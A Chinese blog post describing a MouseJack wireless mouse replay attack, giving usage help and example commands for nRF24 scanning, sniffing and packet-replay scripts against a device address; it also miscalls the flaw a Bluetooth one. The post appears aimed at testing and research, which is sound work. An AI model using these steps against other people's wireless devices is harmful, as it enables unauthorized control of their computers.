欢迎光临
我们一直在努力

Mousejack_replay

0x00 简介

Bastille的研究团队发现了一种针对蓝牙键盘鼠标的攻击,攻击者可以利用漏洞控制你的电脑操作。研究团队将此攻击命名为MouseJack。 Mousejack 之前在Freebuf上有所介绍:MouseJack:利用15美元的工具和15行代码控制无线鼠标和键盘,当然,制作团队也将部分测试代码公开在github上,该团队网站地址为:https://www.mousejack.com/ 从视频中,可以看到攻击者通过此技术,直接操纵受害者电脑,但由于目前该团队并没有公开完整代码,所以有了下面的测试代码。

怎么烧固件这里就不说了,在原github有详细说明,drops也有介绍:Mousejack测试指南,如果在windows平台,我也写过一个介绍:windows下刷MouseJack固件

0x01 原脚本测试

该团队所公布的代码主要包括了扫描跟嗅探模块,nrf24-network-mapper.py 中并没有能够让鼠标操作发生明显变化的payload,经过多次测试,写出了此测试脚本,能够完成对无线鼠标操作的重放攻击。

0x02 脚本介绍

scanner

使用原作者的扫描脚本,此脚本用来扫描附近的无线鼠键:


usage: ./nrf24-scanner.py [-h] [-c N [N ...]] [-v] [-l] [-p PREFIX] [-d DWELL]  optional arguments:   -h, --help                          show this help message and exit   -c N [N ...], --channels N [N ...]  RF channels   -v, --verbose                       Enable verbose output   -l, --lna                           Enable the LNA (for CrazyRadio PA dongles)   -p PREFIX, --prefix PREFIX          Promiscuous mode address prefix   -d DWELL, --dwell DWELL             Dwell time per channel, in milliseconds

扫描信道 1-5 的设备:


./nrf24-scanner.py -c {1..5}

扫描起始地址为0xA9的设备的所有信道:


./nrf24-scanner.py -p A9

sniffer

修改原作者脚本,将获取的设备数据存储到pack.log 中,之后可以使用mousejack-replay.py脚本对此数据进行重放:


usage: ./nrf24-sniffer.py [-h] [-c N [N ...]] [-v] [-l] -a ADDRESS [-t TIMEOUT] [-k ACK_TIMEOUT] [-r RETRIES]  optional arguments:   -h, --help                                 show this help message and exit   -c N [N ...], --channels N [N ...]         RF channels   -v, --verbose                              Enable verbose output   -l, --lna                                  Enable the LNA (for CrazyRadio PA dongles)   -a ADDRESS, --address ADDRESS              Address to sniff, following as it changes channels   -t TIMEOUT, --timeout TIMEOUT              Channel timeout, in milliseconds   -k ACK_TIMEOUT, --ack_timeout ACK_TIMEOUT  ACK timeout in microseconds, accepts [250,4000], step 250   -r RETRIES, --retries RETRIES              Auto retry limit, accepts [0,15]

嗅探地址为 61:49:66:82:03 设备所有信道的数据包并将数据包保存:


./nrf24-sniffer.py -a 61:49:66:82:03

mousejack-replay.py

在 network mapper 脚本上修改,首先通过Ping获取可用信道,然后读取pack.log中的数据包内容,将每一条数据发送到各个信道,完成数据包重放,测试过程中,发现可用地址一般为3-4个,所以将原脚本改成rang(4):


usage: ./mousejack-replay.py [-h] [-c N [N ...]] [-v] [-l] -a ADDRESS [-p PASSES] [-k ACK_TIMEOUT] [-r RETRIES]  optional arguments:   -h, --help                                 show this help message and exit   -c N [N ...], --channels N [N ...]         RF channels   -v, --verbose                              Enable verbose output   -l, --lna                                  Enable the LNA (for CrazyRadio PA dongles)   -a ADDRESS, --address ADDRESS              Known address   -p PASSES, --passes PASSES                 Number of passes (default 2)   -k ACK_TIMEOUT, --ack_timeout ACK_TIMEOUT  ACK timeout in microseconds, accepts [250,4000], step 250   -r RETRIES, --retries RETRIES              Auto retry limit, accepts [0,15]

指定地址为 61:49:66:82:03 的设备进行数据包重放:


./mousejack-replay.py -a 61:49:66:82:03

0x03备注

以上为个人测试结果,由于目前手上只有一个鼠标可以测试,可能并不适用所有存在漏洞设备,有兴趣的小伙伴可以找我一起研究,可以对脚本进行进一步的完善。

右键点击演示视频:http://v.youku.com/v_show/id_XMTUwMTQ3Njk4NA==.html

数据重放演示视频:http://v.youku.com/v_show/id_XMTUwMzgwMTQ1Ng==.html

视频录的不太好,看不太清楚效果,有兴趣的小伙伴可以测试一下。

未经允许不得转载:杂术馆 » Mousejack_replay
分享到: 更多 (0)